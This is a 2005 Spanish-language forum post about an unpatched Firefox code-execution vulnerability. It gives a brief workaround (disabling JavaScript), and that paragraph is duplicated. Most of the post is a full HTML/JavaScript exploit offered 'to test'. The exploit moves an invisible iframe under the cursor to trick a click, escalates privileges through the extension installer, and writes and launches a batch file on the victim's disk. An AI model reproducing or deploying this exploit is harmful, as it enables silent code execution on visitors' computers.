Para los que useis Firefox
Publicado: 11 May 2005 13:57
Una vulnerabilidad permite la ejecución de código, programas, ... y afecta todas la versiones de Firefox y aun no hay parche para solucionar el problema, aunque se prevé que sea publicada en los próximos días.
Una solución temporal hasta la publicación del parche es deshabilitar la opción de JavaScript:
Menú de Herramientas -> Preferencias... ->Características Web:
desmarcar la casilla "Activar JavaScript"
P.D. No se si se habrá publicado el parche ya, me desinstale Firefox y no lo he comprobado.
Si alguien quiere el exploit para probar:
Una solución temporal hasta la publicación del parche es deshabilitar la opción de JavaScript:
Menú de Herramientas -> Preferencias... ->Características Web:
desmarcar la casilla "Activar JavaScript"
P.D. No se si se habrá publicado el parche ya, me desinstale Firefox y no lo he comprobado.
Si alguien quiere el exploit para probar:
<html><head><title>firefox 0day exploit</title>
<body>Click anywhere inside this page<br>
<br>Advisory - http://www.frsirt.com/english/advisories/2005/0493<br>
<iframe onload="loader()" src="javascript:'<noscript>'+eval('if (window.name!=\'stealcookies\')
{window.name=\'stealcookies\';} else{ event={target:{href:\'http://ftp.mozilla.org/pub/
mozilla.org/extensions/flashgot/flashgot-0.5.9.1-fx+mz+tb.xpi\'}};install(event,\'You are
vulnerable!!!\',\'javascript:eval(\\\'netscape.security.PrivilegeManager.enablePrivilege(\\\\\\\'
UniversalXPConnect\\\\\\\');file=Components.classes[\\\\\\\'@mozilla.org/file/local;1\\\\\\\'].
createInstance(Components.interfaces.nsILocalFile);file.initWithPath(\\\\\\\'c:\\\\\\\\\\\\\\\\
booom.bat\\\\\\\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,420);
outputStream=Components.classes[\\\\\\\'@mozilla.org/network/file-output-stream;1\\\\\\\'].
createInstance(Components.interfaces.nsIFileOutputStream);outputStream.init(file,0x04|0x08
|0x20,420,0);output=\\\\\\\'@ECHO off\\\\\\\\ncls\\\\\\\\nECHO malicious commands here...
\\\\\\\\nPAUSE\\\\\\\';outputStream.write(output,output.length);outputStream.close();file.launch();
\\\')\'); }')+'</noscript><a href=\'https://addons.update.mozilla.org/exten ... reinfo.php?
id=220&application=firefox\' style=\'cursor:default;\'> </'+'a>'"
id="targetframe" scrolling="no" frameborder="0" marginwidth="0" marginheight=0" style=
"position:absolute; left:0px; width:0px; height:6px; width:6px; margin:0px; padding:0px;
-moz-opacity:0"></iframe>
<script language="JavaScript" type="text/javascript">
document.onmousemove = function trackMouse(e) {
document.getElementById("targetframe").style.left = (e.pageX-3)+"px"
document.getElementById("targetframe").style.top = (e.pageY-3)+"px"
}
var counter = 0;
function loader() {
counter++
if(counter == 1) {
stealcookies.focus()
} else if(counter == 2) {
stealcookies.history.go(-1)
//targetframe.style.display="none";
}
}
</script>
</body>
</html>